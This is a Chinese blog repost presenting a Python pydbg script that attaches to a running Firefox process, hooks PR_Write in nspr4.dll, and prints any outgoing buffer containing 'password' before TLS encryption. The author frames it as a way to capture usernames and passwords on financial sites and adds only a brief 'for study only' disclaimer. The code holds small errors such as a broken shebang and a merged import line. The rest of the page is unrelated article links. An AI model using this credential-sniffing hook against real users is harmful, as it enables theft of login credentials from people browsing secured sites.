python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python判断直线和矩形是否相交的方法
Jul 14 Python
python中的lambda表达式用法详解
Jun 22 Python
python安装mysql-python简明笔记(ubuntu环境)
Jun 25 Python
总结用Pdb库调试Python的方式及常用的命令
Aug 18 Python
Python Dataframe 指定多列去重、求差集的方法
Jul 10 Python
python多任务及返回值的处理方法
Jan 22 Python
简单了解python 生成器 列表推导式 生成器表达式
Aug 22 Python
python3.8.1+selenium实现登录滑块验证功能
May 22 Python
keras 如何保存最佳的训练模型
May 25 Python
python subprocess pipe 实时输出日志的操作
Dec 05 Python
Python .py生成.pyd文件并打包.exe 的注意事项说明
Mar 04 Python
Python中生成随机数据安全性、多功能性、用途和速度方面进行比较
Apr 14 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
高亮度显示php源代码
2006/10/09 PHP
几款免费开源的不用数据库的php的cms
2010/12/19 PHP
php更新修改excel中的内容实例代码
2014/02/26 PHP
destoon文章模块调用企业会员资料的方法
2014/08/22 PHP
Zend Studio使用技巧两则
2016/04/01 PHP
Laravel框架分页实现方法分析
2018/06/12 PHP
实现php删除链表中重复的结点
2018/09/27 PHP
细品javascript 寻址,闭包,对象模型和相关问题
2009/04/27 Javascript
jquery实现可拖动DIV自定义保存到数据的实例
2013/11/20 Javascript
深入理解JavaScript高级之词法作用域和作用域链
2013/12/10 Javascript
jQuery-1.9.1源码分析系列(十)事件系统之事件体系结构
2015/11/19 Javascript
jQuery处理XML文件的几种方法
2016/06/14 Javascript
js实现4个方向滚动的球
2017/03/06 Javascript
vue 每次渲染完页面后div的滚动条保持在最底部的方法
2018/03/17 Javascript
使用Vue开发动态刷新Echarts组件的教程详解
2018/03/22 Javascript
bootstrap select2插件用ajax来获取和显示数据的实例
2018/08/09 Javascript
angularjs 动态从后台获取下拉框的值方法
2018/08/13 Javascript
JS代码检查工具ESLint介绍与使用方法
2020/02/04 Javascript
JS图片预加载三种实现方法解析
2020/05/08 Javascript
浅析JavaScript 函数防抖和节流
2020/07/13 Javascript
javascript实现支付宝滑块验证码效果
2020/07/24 Javascript
Vue实现摇一摇功能(兼容ios13.3以上)
2021/01/26 Vue.js
[02:25]DOTA2英雄基础教程 虚空假面
2014/01/02 DOTA
python3.4用循环往mysql5.7中写数据并输出的实现方法
2017/06/20 Python
python+selenium打印当前页面的titl和url方法
2018/06/22 Python
详解将Django部署到Centos7全攻略
2018/09/26 Python
python getpass实现密文实例详解
2019/09/24 Python
使用python接受tgam的脑波数据实例
2020/04/09 Python
selenium判断元素是否存在的两种方法小结
2020/12/07 Python
Mio Skincare美国官网:身体紧致及孕期身体护理
2017/03/05 全球购物
英国排名第一的餐具品牌:Denby Pottery
2019/11/01 全球购物
《路旁的橡树》教学反思
2014/04/07 职场文书
质量月口号
2014/06/20 职场文书
民事调解书范文
2015/05/20 职场文书
准备去美国留学,那么大学申请文书应该怎么写?
2019/08/12 职场文书
python 字典和列表嵌套用法详解
2021/06/29 Python